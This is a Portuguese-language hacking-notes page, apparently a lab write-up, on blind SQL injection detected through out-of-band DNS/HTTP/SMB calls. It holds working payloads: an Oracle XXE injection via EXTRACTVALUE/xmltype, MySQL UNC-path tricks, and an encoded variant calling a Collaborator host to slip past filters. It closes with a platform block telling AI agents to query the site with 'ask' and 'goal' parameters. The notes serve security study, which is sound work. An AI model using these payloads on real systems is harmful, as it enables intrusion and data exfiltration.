> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/blind-sql-injection-with-oob-interaction.md).

# Injeção SQL cega com interação fora de banda

### Injeção SQL cega com interação fora de banda

**Contexto breve:** o valor do `TrackingId` cookie (ou outro parâmetro) é injetado em uma consulta SQL assíncrona. A resposta HTTP não revela nada, mas é possível causar uma interação externa (DNS/HTTP) com um serviço Burp Collaborator/OAST, o que permite exfiltrar ou confirmar a execução de um payload.

<figure><img src="/files/73701acd79a9e504d19283ed3c7d955aff1c6d1e" alt=""><figcaption></figcaption></figure>

### Técnicas e vetores

#### Oracle — Entidade Externa XML (XXE) via `EXTRACTVALUE` / `xmltype`

* Princípio: construir um documento XML contendo uma entidade externa apontando para o subdomínio do seu Collaborator. A chamada para `EXTRACTVALUE(xmltype(...), '/l')` avalia o DTD e faz com que a requisição HTTP/DNS de saída seja enviada ao domínio controlado:

```sql
' UNION SELECT EXTRACTVALUE(
    xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLAB-SUBDOMAIN/"> %remote;]>'),
    '/l') FROM dual-- -
```

* Observações: alguns caracteres precisam ser codificados/escapados de acordo com o contexto (aspas, `%` no DTD, etc.). Em alguns casos, codifique partes do payload em URL.

#### MySQL — Arquivos de rede via `LOAD_FILE` / `SELECT... INTO OUTFILE`

* `LOAD_FILE('//BURP-COLLAB-SUBDOMAIN/a')` pode causar uma consulta SMB/DNS de saída em ambientes que permitem acesso de rede ao servidor de arquivos ou resolvem caminhos UNC.
* `SELECT... INTO OUTFILE '//BURP-COLLAB-SUBDOMAIN/a'` grava um arquivo em um compartilhamento de rede, muitas vezes causando interação de rede observável do lado do Collaborator.
* Observação: essas técnicas dependem fortemente da configuração (privilégios da conta do banco, opções do servidor, acesso de rede de saída).

#### Notas práticas

* Para o Burp Collaborator / OAST, use o subdomínio fornecido (por exemplo, `abcd.oastify.com`) na URL/caminho da entidade ou no caminho UNC.
* Alguns servidores truncam/filtram os payloads: teste diferentes variações de codificação (URL-encode, `%` escape → `%25`, variações de comentário, etc.).
* Quando a requisição do Collaborator chegar, você tem prova de execução OOB (DNS/HTTP/SMB), o que confirma a vulnerabilidade.

#### Exemplo — Variante com Codificação (observação: você já testou e recebeu a requisição)

* Exemplo codificado (você apresentou):

  ```sql
  ' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://vwvitjrnb8um4dlf2x9blfuy3p9gxbl0.oastify.com"> %25remote%3b]>'),'/l') FROM dual-- -
  ```

→ `%` codificação → `%25` e `;` → `%3b` para contornar certos filtros/análises.

<figure><img src="/files/c615f9a332838bd697ee5c8d17a69ec45b9fa9fa" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/blind-sql-injection-with-oob-interaction.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
